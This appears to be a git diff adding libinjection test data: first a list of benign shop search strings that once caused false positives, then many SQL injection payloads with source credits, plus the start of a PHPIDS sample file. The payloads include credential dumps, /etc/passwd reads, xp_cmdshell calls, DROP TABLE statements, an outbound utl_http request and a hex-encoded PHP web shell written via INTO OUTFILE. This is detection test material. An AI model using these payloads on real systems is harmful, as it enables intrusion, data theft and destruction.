https://github.com/libinjection/libinjection/pull/60, still not be SQLI +Hi, 1.e be happy to assist +FROM 10001.103EABC TO TAG CHRISTMAS + +# +# List of various inputs that failed and caused a false positive +# +24-7-TEAM +A-LAST-MINUTE +1/26/11 +TRUE#LAST +1D0AA0A700000004/9GUH7NYWTMDHBAA CTFT0FG7/W4AWAABAAAAGK0WQAGHAAAAGAAABJMCGA= +HTTP://WWW.TINYBELLESBLOG.COM/2011/11/2ND-ANNIVERSARY3K-FAN-GIVEAWAY.HTML#{"COLOR":"#2A1100","BACKGROUNDCOLOR":"WHITE","UNVISITEDLINKCOLOR":"#D860A7","FONTFAMILY":"GEORGIA, SERIF"} +NOT ALL WHO WANDER +ALL NATURAL SKIN CARE +DAD TO BE +UNIQUE TABLE RUNNER +AS FOR ME AND MY HOUSE +LOCK AND KEY +1 BY 1 INCH PILLOWS +SET WITH ENVELOPES +FROM TO TAG CHRISTMAS +3 BY 5 RECIPE CARDS +3 TO 6 MONTHS +BY ORDER OF THE MANAGEMENT +A IS FOR ADORABLE +WHERE IS GEORGE +KEY TO MY HEART +Y'ALL COME BACK NOW +1950's dresses +EC-2HM85288X8372881C +4/_ZBKO2JKUCJC73C8KPIUDTJ3IMGM +MATS 5" BY 7" +I'M AFRAID SO. YOU'RE ENTIRELY BONKERS. BUT I'LL TELL YOU A SECRET THE BEST PEOPLE ARE" - ALICE +HUGE BRASS CLOCK GEAR 2 3/4" - VINTAGE +JACK-O'-LANTERN? +7 AND A HALF +7 FOR ALL MANKIND +5 AND A QUARTER BY 8 INCHES +40 AND FAB +6 KEY CHAR +3 FOR 20 +F AND A NECKLACE +21 LONG IN +FD AND C COSMETIC COLORANT +2 OR 4 METAL BUTTONS +13 IS A LUCKY NUMBER +1 AND 1/2" BUTTON +"DARE TO BE AWESOME": +"ALASKA" + 1978 +10 DOUBLE LOOP SETS +B IS FOR BLACK BY TATIANA SOROKA +DANCIN' LIKE A ROBOT ON FIRE +D AND D DICE +BE TRUE 2 U +B AND A PRINTS +"SWEATER DRESS" AND "CHRISTMAS" +SMALL "& SIGN +9-2-5 BLACK PUMPS +2-3/4 CELLO BAGS +30-30-60 INVITE +11-11-11 DAY POPPY +4-1-7-CUEIPNJF1QIETPB8PQBVZ5 +1-1/8 PLUGS +1 1/8 PLUGS +1&1/8 PLUGS +909-527-9247 ++1 (917) 666-0987 +(9178787873) +(junk) +"PINK ROSES" -DRESS -CLOTHES -SWEATER -COAT -JACKET -SKIRT -PANTS -SHIRT +DRESS SIZE 20" -PATTERN -BABY +"CROSS STITCH" -PDF -WOOL +DRESS WITH HAT 18'; +2:1320316063:9-3Z6OMATJOWG5BO2JWF3I2S0QEN:XXMET8ACIJ1CVLEHB5MBBW-NPIEQ:0440D7CD127A7FBFCB9D17B01D38FB0A7C0EBC11 +HUGE BRASS CLOCK GEAR 2 3/4" - VINTAGE - STEAMPUNKVINTAGEFIND AT ETSY G194 +IN ORDER TO USE SEARCH +BEGIN EACH DAY WITH LOVE +SQL-3-RMGN_V-BBNGV40NGQRAGGZ +IF-9-86MDXMB1Z-FINBSB4WIDF-B +HTTP://CONTUBO.TV/VIDEOS/1949/2-BEST-MINIFALDAS,-TANGAS,CULONAS-MINISKIRTS"-BIKINIS-"SEXY-GIRLS"-BOOBIES-BOOTTIES +GROUP UPDATE FACEBOOK LINK NOT PROVIDED +CHRISTMAS STOCKING "NOT" STUFFER +ORDER@ALLTHATSHEWANTS.US +ALL@MKSAT.NET +ALL NATURAL SHA +WHERE IS THE SHOW +"ALASKA" + 1978 +SMALL "&" SIGN +50%2526%252339%253Bs +VINTAGE CARVED BEAD'" -LUCITE -PLASTIC +pr_shop%22%3EMamaBearBabyWear%3C/a%3E +poem+'if' +CRAFT SHOW SET +DIARY WITH LOCK +CLIP ON READ +CLOCK WITH KEYS +THERE IS NOT PLACE LIKE HOME +BASE; SET SWAROVSKI +LED -(ZEPPELIN) +LIFE IS NOT ABOUT WAITING FOR THE STORM TO PASS +70" ROUND TABLE CLOTH +"CASE" +"RIGHT ON" +"NOT ALL WHO WANDER" +V1_OTHER_1">ETSYFOO +BLAH FOO +BLAH FOO +RSCHMIDT @FPMC-WILLMAR/COM +XSERVING"; ";PLATTER"; ";VINTAGE"; +/SEARCH/?INCLUDES=&SEARCH_QUERY=TYPOGRAPHY+PRINT+"WITH+YOU"&REF=RELATED&PAGE=1 +LLLLLLLLLLLLLLLLLLLLLLLLLLLLLKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;''''''''''''''''''''''''''''''''''''''''''''''';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKL;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;';;LK +SCRAPBOOK PAPER PACK (8.5X11"-300 DPI) -- +SWIRLS DIGITAL SCRAPBOOK PAPER PACK (8.5X11"-300 DPI) -- 10 DIGITAL PAPERS -- 122 +HTTP://WWW.MECKMOM.COM/MMDL/CHRISTMAS BUDGET PLANNER.PDF';" HREF="HTTP:/WWW.MECKMOM.COM +1.5 WITH 1/2 INCH LOOP END LOBSTER +60;S MOD DRESSES +7" #2 CIRCULAR NEEDLE +9/PLUGS AND TUNNELS +9/16PLUGS AND TUNNELS +"NOT ON FACEBOOK" +"#2 MOM" +80%25 ACRYLIC AND 20%25 WOOL +35%25 COTTON AND 65%25 POLYESTER. +5685587||ORDER=||SECTION_ID=||PAGE=2 +{%25 $SENDER_FULL_NAME %25} BLAH BLAH BLAH {%25 $CONVO_SEND_DATE|DATE_FORMAT:'%25B %25D, %25Y' %25}. +UJUUUI8UJKPKJMMJUMNMJUJMMNNJUJMNJJJMNJKJMJJKBJ9I8UJJMMNJNJJJJJJNNKJNMKUJJUNKJJJNJNJKJJJJJJJJJMNJJJJJKJIJJJJJJJJJJJJJJJJJGGGFSAQWERTYUIOP[]';LKGFDSAZXBNM,. +BAMBOO CHARCOAL SOAP 1 '# +BLUE BROWN -BABY -TODDLER -CCBCUSTOMDRESSES' -SHOES -SANDLES -HEEL --INFANT -CHILD -CHILDS -CHILDRENS -KID -KIDS -BOYS -BOY -MEN -MENS +BLUE BROWN -BABY -TODDLER -CCBCUSTOMDRESSES' --INFANT -CHILD -CHILDS -CHILDRENS -KID -KIDS -BOYS -BOY -MEN -MENS +REGARDEZ +BOOKMAR';[K]] +WOOL AND ACRYLIC FOR SOFTNESS +01/DEC/2011:20:45:25 +0;1;0;1;0 +5-DEC-QRIBMKCDNBUO2ELCW2FGFI +WOMEN';S ART DEC +DO OR NOT DO, THERE IS NO +ABC AND 123 WALL DEC +1.5 WITH 1/2 INCH LOOP END +"NOT FOR SALE" +"IS" STAMP +"LIKE" STAMP +/SEARCH/?INCLUDES=&SEARCH_QUERY=TYPOGRAPHY+PRINT+"WITH+YOU"&REF=RELATED&PAGE=1 + 1950' AND 60'S WOMEN'S COATS WITH FAKE +FOO; BAR 1+2+3 +WO;DCAT[JPTPGRA][ +/SEARCH_RESULTS.PHP?SEARCH_TYPE=ALL&INCLUDES[0]=TAGS&SEARCH_QUERY=MACBOOK PRO DECALS 15"&PAGE=2 +/SEARCH_RESULTS.PHP?SEARCH_TYPE=ALL&INCLUDES[0]=TAGS&SEARCH_QUERY=MACBOOK+PRO+DECALS+15&PAGE=2 +%2FSEARCH_RESULTS.PHP%3FSEARCH_TYPE%3DALL%26INCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DMACBOOK%2BPRO%2BDECALS%2B15%26PAGE%3D2 +%2FSEARCH_RESULTS.PHP%3FSEARCH_TYPE%3DALL%26INCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DMACBOOK%2BPRO%2BDECALS%2B15%22%26PAGE%3D2 +KNICKIN' AND KNACKIN' SEE WHAT ONFIRE'S PACKIN' FOR CHRISTMAS BY ANNIE BECWAR + 0=[]' +"AS FOR ME AND MY +"EXIT, PURSUED B +"EXIT, PURSUED BY +4%27%2BX%2B4%27%2BWOOD +48%22%2BX%2B48%22%2BMODERN%2BART +90-%2B6%2BINCH +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D20%22%2BX%2B20%22%2BPILLOW%2BCOVER%2BGREEN%2BPATTERN%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22NOT%2BAMUSED%22%26ORDER%3DMOST_RELEVANT%26SHIP_TO%3DZZ%26VIEW_TYPE%3DGALLERY%26PAGE%3D4 +%2FSEARCH%2FHANDMADE%2FPLANTS_AND_EDIBLES%3FSEARCH_SUBMIT%3D%26Q%3D%22SET%2BOF%2B6%22%26MAX%3D18%26ORDER%3DMOST_RELEVANT%26SHIP_TO%3DUS%26VIEW_TYPE%3DGALLERY +%2FSEARCH%2FVINTAGE%3FSEARCH_SUBMIT%3D%26Q%3D%22TABLE%2BLAMP%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS%26PAGE%3D10 +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3DSHABBY%2B%22AND%2BWHITE%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS%26PAGE%3D6 +%2FSEARCH_RESULTS.PHP%3FINCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DSILVER%2BCHAIN%2B20%22%26FILTER%5B0%5D%3DSUPPLIES +%2FSEARCH_RESULTS.PHP%3FINCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DWALDORF%2BDOLLS%2B16%22%26FILTER%5B0%5D%3DVINTAGE +%2FSEARCH_RESULTS.PHP%3FINCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DWALDORF%2BDOLLS%2B16%22%26FILTER%3DVINTAGE +%2FSEARCH%2FHANDMADE%3FQ%3DYELLOW%2BPHOTOGRAPHY%2BBACKDROP%2B%2B-3%27%2B-4%27%2B-DIGITAL%2B-MINI%26VIEW_TYPE%3DGALLERY +HTTP%3A%2F%2FDEEDEECAMPBELL.BLOGSPOT.COM%2F2011%2F12%2FHAPPY-SNOWMAN-TAG.HTML%3FUTM_SOURCE%3DFEEDBURNER%26UTM_MEDIUM%3DFEED%26UTM_CAMPAIGN%3DFEED%3A%2BSCRAPPINWITHDEEDEE%2B%28SCRAPPIN%27%2BWITH%2BDEEDEE%29 +RECLAIMED%20WOOD%22%20%2B%20%22SIGN%22%20%2B%20%22PRIMITIVE%22 +%22MOD%22%20%22 +/SEARCH/HANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22MOD%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS%26PAGE%3D14 +/SEARCH%3FSEARCH_SUBMIT%3D%26Q%3D36%22%2BX%2B48%2B%22%2BFRAME%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +DO%20OR%20NOT%20DO +DO%20OR%20NOT%20DO%2C +9%216%2BEARINGS +%22NOT+GAY+AS+I +%22+-+%22MAGAZINE%22 +FAITES+UN+TOUR+SUR+NOTRE+NOUVELLE+%3CBR+%2F%3E%3CA+HREF%3D%22%2FAPPS%2F%22%3EGALERIE+D%27APPLICATIONS%3C%2FA%3E%21 +RENCONTREZ+DES+PERSONNES+AVEC+QUI+VOUS+AVEZ+DES+INTRTS+COMMUNS+ET+COLLABOREZ+AVEC+EUX.+TROUVEZ+DES+TEAMS+LOCAUX++REJOINDRE+SUR+LA+%3CA+HREF%3D%22%2FTEAMS%2F%22%3EPAGE+DES+TEAMS%3C%2FA%3E +FHFUIVJGUJOKKIIKIIOJKK%5BI%5B%27%3D%5C%5D%3D-%5DL%3B/... +%27-%228 +%27-%228%20TRACK%22 +%27-%228%20TRACK%20PL +2%20got%20%40AOL.COM +L%3BIN%20TABLE%20RUNNER +OW%3BCAST%20IRON%20TRIVETS +/SEARCH/HANDMADE%3FSEARCH_SUBMIT%3D%26REF%3DAUTO%26Q%3DPICTURES%2BFRENCH%2B11%22%2B-%2B14%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +SET%208%20-MINI%20AS +1/4%22-1/2RIBBON +1/4%22-1/RIBBON +PHILLIPKEEGAN-777-%40HOTMAIL.COM +AUG%2B15%2BKEYS +%22foo%22+AND+%22bar%22+AND +%22foo%22+AND+%22bar%22 +%22WILD+OLIVE%22+%2B+%22YELLOW+CHERRIES%22 +%22WHITE%22+%2B+%22PLATE%22+%2B+%22POTTERY%22 +FOO+BAR%27%23+BLAH +5%2F8%2BLOOP +CONNECTORS+%2B+2-PRONG +50%2BSIZE%2B36%2B%287%2F8%2BINCH%29%2BCOVER%2BBUTTONS +50PCS%2BANTIQUE%2BBRONZE%2BFINISH%2BCONNECTORS%2B8MM%2B%280633%29 +32%2BKRAFT%2BBROWN%2B%22HANDMADE%22%2BSTICKER +25%2BSIZE%2B36%2B%287%2F8%2BINCH%29%2BCOVER%2BBUTTONS +%281156-MG%29%2BNEW%2BMATTE%2BGOLD%2BPLATED%2BTEXTURED%2BLINKED%2B3-RING%2BPENDANTS +%22CROSS+STITCH%22+%2B+%22TREE+SKIRT +%2FSEARCH%3FQ%3D15%22%2BLAPTOP%2BCASE%26PAGE%3D6 +%2BIPHONE%2B4%2BCASE +%22TERRACE%22++-++1932++-++WM.+ROGERS+MFG.+CO. +%22ATEAM%22+AND+AND+%22GIFT+CERTIFICATE%22 +%22CLIP+ON%22+-EARRING%2A+-SWEATER+-SHOE%2A+-TIE%2A+-EPHEMERA+-CUFFLINK%2A+-HAIR+-BARRETTE%2A+-DRESS%2A+-BROOCH%2A+-PIN%2A+-MONEY+-PRINT +4%2FABKDFAY1YORLFIM6NZYU8DTZP1-1 +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3DPIN%2B%22AS%2BIS%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22AND%2BWHEN%2BTHE%2BKIDS%2BARE%2BOLD%2BENOUGH%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +THING%2B1%2BAND%2BTHING%2B2 +1Q9D819XMTILZVG1BOBY27-4-ROW +NOT+AS+SAD+AS+I+USED+TO+BE +NOT+AS+SAD+AS+I +IPHONE%2B4%2BCASE%2BRUSSIAN +COPPER%2B20%2BROUND +CASE+FOR+KINDLE+WITH+KEYBOARD +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22LIKE%22%2BSTAMP%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +MISTERGLAS.DK%27%2A%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27 +BIRTHDAY%2B12%2BMONTH%2B +6R2OS3JNSM-48-IN-0ZENVYLUJJL +14+1%2F2%22+-+USUALLY+FOR+3+MONTHS+TO+6+MONTHS +XVPG_TLIHBUY60_ZHXPSA-4-PI-P +GALLERY%3D1%3D5 +I+%3C3+%3C3 +I+%3C3+%3C3+THE+DOCTOR +SIZE%2B36%2B%287%2F8%2BINCH%29%2BCOVER%2BBUTTONS%2BSTARTER%2BKIT +4%7C28940%7C10142125%7C6003940396642%7C6003940506642%7C%7C%7CTC%7C%7CC%7C%7C%7C +-3-B39RBBO58YMVIHEVAUZBS-6TF +.75+%22+X+1.5%22 +"SIGNAL LOCK" +3 TABLE LAMP WITH FLOWERS +9483773&REFERRING_LISTING_ID=62611583&REF=LS_CONTACT_BOTTOM +1950 UNION MADE +EWELRY; __UTMC=111461200; __UTMB=111461200.37.10.13431224 +1 AND A1/2 INCH LIME GREEN GROSGRAIN RIBBON +3271888&SR=1-1-SPELL&KEYWORDS=LEGAND+POSTER +SHELL IS 65 AND 35 POLY COTTON BLEND +Y; __UTMC=111461200; __UTMB=111461200.29.10.1342974283 +5EOR-5MDKFIKK50HAHCPYPUVLG-2 +LISTING-PRICE"> P="L TING-PRICE"> foo.com + + +# bogus +1alert(1) + +foo 'null' bar +User(foo),junk +User(login_name),Images(url_170x135) +mr and mrs table sign +USPS 1-3 Day (USPS doesn't guarantee 3 day arrival) +foo or bar add 1 +Apt is gated; call when you get here, and we'll come down to get it. +DaVi - Open and Close Your Blinds With Your Phone! +Foo and 80's Foo / Bar +Work Time (Rosewood, Lavender, Bergamot, Grapefruit) Recommended +Same as reward #1 however +foobar sent you 1 message about +4.7" & iPhone 6 Plus 5.5 +Family and friends having meal outdoors +1-- + +# ht/@FluxReiners +'-(1 or 1) and 1=0 union select load_file('/etc/passwd'),credit_card,password from users-- - +'-(-1 or -1) and 1=0 union +'-(-(1) or -1) and 1=0 union +'-((1) or -1) and 1=0 union + +# https://twitter.com/dsrbr/status/342132003270959104 +-1 union select null, listagg(login || ':' || pass,', ') within group (order by login) from users; +-1 union select null, xmlagg(xmlelement("user",login || ':' || pass).getStringVal() from users; +-1 union select null, stragg(login || ':' || pass ||', ') from users; + +-1 union select listagg(login || ':' || pass,', ') within group (order by login) from users; + +#ht ivan +users.id%0D%0A%23asd%0D%0Aunion%0D%0A%23asd%0D%0Aselect%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aaa+%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Afrom%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aasdasd + +# http://samincube.blogspot.ru/2013/06/time-based-sqli-on-google-coupon.html +1'=sleep(1)='1 + +# https://twitter.com/dsrbr/status/343017094926962691 +1 and select (utl_http.request('http://client9.com/') || select listagg(login || chr(58) || pass || ', ') within group (order by login) from dual) is not null; + +# https://twitter.com/dsrbr/status/341228356936814592 +-1 union select top 1 null, lead(pass, 0) over (order by pass) from users; + +# https://twitter.com/dsrbr/status/340018970054766592 +-1 union select null, array_to_json(array_agg(users))::text from users limit 1; +1 and (select array_to_json(array_agg(users))::text::bool from users limit 1; + +# http://www.exploit-db.com/exploits/25915/ +' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e,null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE 'afile.php' + +# http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload +IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ + +# misc secondary sql statements +1 and true; BEGIN DECLARE @xy varchar(8000) +1; BEGIN DECLARE @xy varchar(8000) +x' and 1 = 0; BEGIN DECLARE +x' AND 1=0; DROP TABLE TMP_DB; +' AND 1=0; DECLARE @S VARCHAR(4000) SET @S + +' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE + +# https://twitter.com/st1ll_di3/status/344416764949561346 +# http://pastebin.com/Ymcs7nE0 +(--- 0)'=(currenT_user()-3) union select 1,2,3 from users; -- - + +# example from http://www.websec.ca/kb/sql_injection +1=1 AND-+-+-+-+~~((1)) + +# the bizarre sp_password hackery +1-- foo sp_password +1'--sp_password + +# nice ms-access, courtesy mod-security +foo' Eqv StrComp(username, 0x12+0x34+0xab+0xcd,0) Imp 'a + +# mysql and pgsql string litterals +b'1' UNION SELECT 1 +x'1' UNION SELECT 1 +n'1' UNION SELECT 1 + +# ending clauses +1 having 1 limit 1 union select 1-- +1 having (1) limit 1 union select 1-- +1 having -(1) limit 1 union select 1-- +1 having sin(1) limit 1 union select 1-- +1 having 1 limit 2 group by 3 union select 1-- +1 group by 2 union select 1 -- +sin(1) group by 1 union select 1-- +@version group by 1 union select 1-- +@version group by (-1) union select 1-- +(@version) group by -1 union select 1-- +(@version) group by (-1) union select 1-- +(@version)) group by (-1) union select 1-- +(1)) group by (-1) union select 1-- +(@version) group by sin(-1) union select 1-- +1 group by sin(1) union select 1-- +1 group by 1 - sin(1) union select 1-- +1 group by (sin(1)) union select 1-- +-1 group by -(-sin(1)) union select 1-- +sin(1) group by (-sin(1)) union select 1-- +sin(1)-1 group by (-sin(1)) union select 1-- +sin(1)-1 group by 1 union select 1-- +1 group by ((1)) union select 1-- +1 group by (((1))) union select 1-- +((1)) group by (1) union select 1-- +(1) group by ((1)) union select 1-- +(1) group by (1) union select 1-- + +# more with 'having' +-(1) is not unknown having 1 order by 1 limit 1 for update UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown for update UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown having 1 order by 1 limit 1 UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1 +-(1) is unknown having 1 UNION select table_name from information_schema.tables limit 1 +-(1) for update UNION select table_name from information_schema.tables limit 1 +1 for update UNION select table_name from information_schema.tables limit 1 + +-(1) for update UNION select table_name from information_schema.tables limit 1 +-(true) for update UNION select table_name from information_schema.tables limit 1 +-(null) for update UNION select table_name from information_schema.tables limit 1 +-(\N) for update UNION select table_name from information_schema.tables limit 1 +-(\N) for update having true UNION select table_name from information_schema.tables limit 1 +-(\N) for update having 1 UNION select table_name from information_schema.tables limit 1 +-(1) for update having 1 UNION select table_name from information_schema.tables limit 1 +-(1) having 1 for updateUNION select table_name from information_schema.tables limit 1 +-(1) having 1 for update UNION select table_name from information_schema.tables limit 1 +-(1) having 1 for update UNION select table_name from information_schema.tables limit 1 + +\''; DROP TABLE users; -- +\''); DROP TABLE users; -- +\''; /* one */ ;DROP TABLE users; -- +\''; select 1; drop table users; -- +1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck +1; EXECUTE AS LOGIN 'root'; GO xp_cmdshell 'whoami.exe' ; REVERT ; +1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck +1); USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck + +EXEC sp_add_job @job_name = 'TestJob'; +EXECUTE sp_add_job @job_name = 'TestJob'; +1;EXECUTE sp_add_job @job_name = 'TestJob'; +1;print 'foo'; exec xp_cmdshell 'destroy'; + +# nested sub-selects +-1 - (select (1 - select (select 1))) union all select 2 -- +-1 - (select 1) - union all select 2 -- +(select 1) - 1 union all select 2 -- +((select 1) - 1) + (select 1) union all select 2 -- +(select (select (select 1))) union all select 2 -- +(select (select (select 1))) union all select 2 -- +(select ((select (select 1))) union all select 2 -- +(select (select ((select 1))) union all select 2 -- +(select ((select 1 - (select 1))) union all select 2 -- +(select (select (((select 1))) union all select 2 -- +(select ((select (select 1))) union all select 2 -- +(select (((select (select 1))) union all select 2 -- +(select (select (1 - select 1))) union all select 2 -- +(select (select 1 - (select 1))) union all select 2 -- +(select 1 - (select 1 - (select 1))) union all select 2 -- + +# moar unions +-1 union distinct select table_name from information_schema.tables +-1 union distinct all select table_name from information_schema.tables +-1 union all distinct select table_name from information_schema.tables +-1 union all select table_name from information_schema.tables + +# more +if(1, -1, 2) union select table_name from information_schema.tables limit 1 +if((1), -1, 2) union select table_name from information_schema.tables limit 1 +if(1=2, -1, 2) union select table_name from information_schema.tables limit 1 +true in(2, (select 2)) union select table_name from information_schema.tables limit 1 +true in(2, 1) union select table_name from information_schema.tables limit 1 + +# +-1 union select current_user``union select table_name from information_schema.tables + +if(1, 1, 2) union select 3 +if(sin(1), 1, 2) union select 3 +if(1, sin(1), 2) union select 3 +if(1 - sin(1), 2) union select 3 +if((1), 1, 2) union select 3 +if(-(1), 1, 2) union select 3 + +# +1; if exists ( /* anything */ + +# these aren't SQL but close enough +union (select 1)-- +union all (select 1)-- +union all (select distinct 1)-- +union (select 1,2,3,4,5)-- +union (select -1,2,3,4,5)-- +union (select -(1),2,3,4,5)-- +union (select -sin(1),2,3,4,5)-- +1;call p(@version, @a) +1;load data infile "foo" +1;load xml infile "foo" +1;load xml local infile "foo" +1;load xml low_priority infile "foo" +1;load xml concurrent infile "foo" +1; delete from foo +1; delete low_priority from foo +1; delete quick from foo +1; delete ignore from foo + + +1;do (1=1) + +-0b01 for update union select table_name from information_schema.tables limit 1 +binary _latin1 'true' COLLATE latin1_german2_ci is not unknown union select table_name from information_schema.tables +binary true COLLATE latin1_german2_ci union select table_name from information_schema.tables +12 union select table_name from information_schema.tables limit 1 +binary 1 < binary 2 > binary 3 union select table_name from information_schema.tables limit 1 + +binary (false) union select table_name from information_schema.tables limit 1 +1 - binary (false) union select table_name from information_schema.tables limit 1 +1 - (binary (false)) union select table_name from information_schema.tables limit 1 +binary binary 1 union select table_name from information_schema.tables +binary -1 union select table_name from information_schema.tables +binary -(1) union select table_name from information_schema.tables +binary (binary 1) union select table_name from information_schema.tables +binary (binary 1) union select table_name from information_schema.tables + +# werid slash escaping in Older T-SQL databases +# http://websec.ca/kb/sql_injection#MSSQL_Allowed_Intermediary_Chars_AND-OR +\1=\1AND\1=\1; + +# more weird T-SQL weirdness +\%250=\-1AND\*1=\/1 + +# mysql +-1 procedure analyse() union select table_name from information_schema.tables limit 1 + +# HT @FluxReiners +(1)mod @a or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- - +@a mod (1) or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- - + +# HT @LightOS +# issue here is how '1gfsdg..' is processed. +# MySQL parses it as a single word, other databases treat it as "1", "gfs..." +-1 procedure analyse(1gfsdgfds, sfg) union select table_name from information_schema.tables limit 1 + +# HT @FluxReiners +(select 1 foo) union select load_file('foo'); + +# +# Anonymous from Research Institution of Telecom in Beijing, China +# commenting out since i have no idea how this could be a true SQL injection +#=1 union select admin,pass from admin limit 1 +#=1 union select 1,2,3,4,5,6 + +# problems with type-casting, and nested type casting +# +# credit: Reto Ischi +# +'s' || binary(1)# and n='foo" +1 - binary (1 - binary(1)) UNION SELECT 2 -- +1 - binary (binary(1) -1) UNION SELECT 2 -- +binary (1 - binary(1)) UNION SELECT 2 -- +binary (binary(1) - 1) UNION SELECT 2 -- +binary (binary(1)) UNION SELECT 2 -- + +# +# Padding using between operator +# +(1 between @version and "2") & 1 UNION SELECT 1 +(1 between @version and @user) & 1 UNION SELECT 1 +(1 between 1 and @version) & 1 UNION SELECT 1 +(1 between '1' and @version) & 1 UNION SELECT 1 +(1 between 1 and 2) & 1 UNION SELECT 1 +(1 between '1' and '2') & 1 UNION SELECT 1 +(1 between 1 and '2') & 1 UNION SELECT 1 +(1 between '1' and 2) & 1 UNION SELECT 1 +('1' between '1' and '2') & 1 UNION SELECT 1 +(@version between '1' and '2') & 1 UNION SELECT 1 +(@version between 1 and '2') & 1 UNION SELECT 1 + +# +# ANY and SOME subqueries +# +1 - ANY(SELECT 1,2) +ANY(SELECT 1) - 1 UNION ALL -- +ANY(SELECT (1)) - 1 UNION ALL -- +ANY((SELECT 1)) - 1 UNION ALL -- +1 - ANY(SELECT 1) UNION ALL -- + +# +# embedded %A0 mysql +# +1%A0UNION%A0SELECT%A02-- +1%00UNION%00SELECT%002-- + +# +# http://www.exploit-db.com/exploits/28854/ +# +stringindatasetchoosen%25' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%25dministrator' and rownum<=1 and PASSWORD like '0%25') and '1%25'='1 + +# +# Thanks to @rsalgado +# A degenerate MySQL ODBC case +# +-{``.``.id} union select table_name FROM information_schema.tables LIMIT 1 diff --git a/apps/cli/vendor/libinjection/data/sqli-phpids.txt b/apps/cli/vendor/libinjection/data/sqli-phpids.txt new file mode 100644 index 00000000..c3700db6 --- /dev/null +++ b/apps/cli/vendor/libinjection/data/sqli-phpids.txt @@ -0,0 +1,275 @@ +# +# Various samples from PHPIDS +# +%22+OR+1%3D1%23 +%3B+DROP+table+Users+-- +admin%27-- +SELECT+%2F%2A%2132302+1%2F0%2C+%2A%2F+1+FROM+tablename +10%3BDROP+members+-- +SELECT+CHAR%280x66%29 +SELECT+LOAD_FILE%280x633A5C626F6F742E696E69%29 +EXEC%28%40stored_proc+%40param%29 +chr%2811%29%7C%7Cchr%2812%29%7C%7Cchar%2813%29 +1+or+name+like+%27%25%27 +1+OR+%271%27%21%3D0 +1+OR+ASCII%282%29+%3D+ASCII%282%29 +1%27+OR+1%26%221 +1%27+OR+%271%27+XOR+%270 +1+OR%2B1%3D1 +1+OR%2B%281%29%3D%281%29 +aaa%27+or+%281%29%3D%281%29+%23%21asd +aaa%27+OR+%281%29+IS+NOT+NULL+%23%21asd +a%27+or+1%3D%271 +asd%27+union+%28select+username%2Cpassword+from+admins%29+where+id%3D%271 +1%27%3B+WAITFOR+TIME+%2717%3A48%3A00+%27+shutdown+--+-a +1%27%3B+anything%3A+goto+anything+--+-a +%27+%3D%2B+%27 +asd%27+%3D-+%28-%27asd%27%29+--+-a +aa%22in%2B+%28%22aa%22%29+or+-1+%21%3D+%220 +aa%22+%3D%2B+-+%220++ +aa%27+LIKE+0+--+-a +aa%27+LIKE+md5%281%29+or+%271 +aa%27+REGEXP-+md5%281%29+or+%271 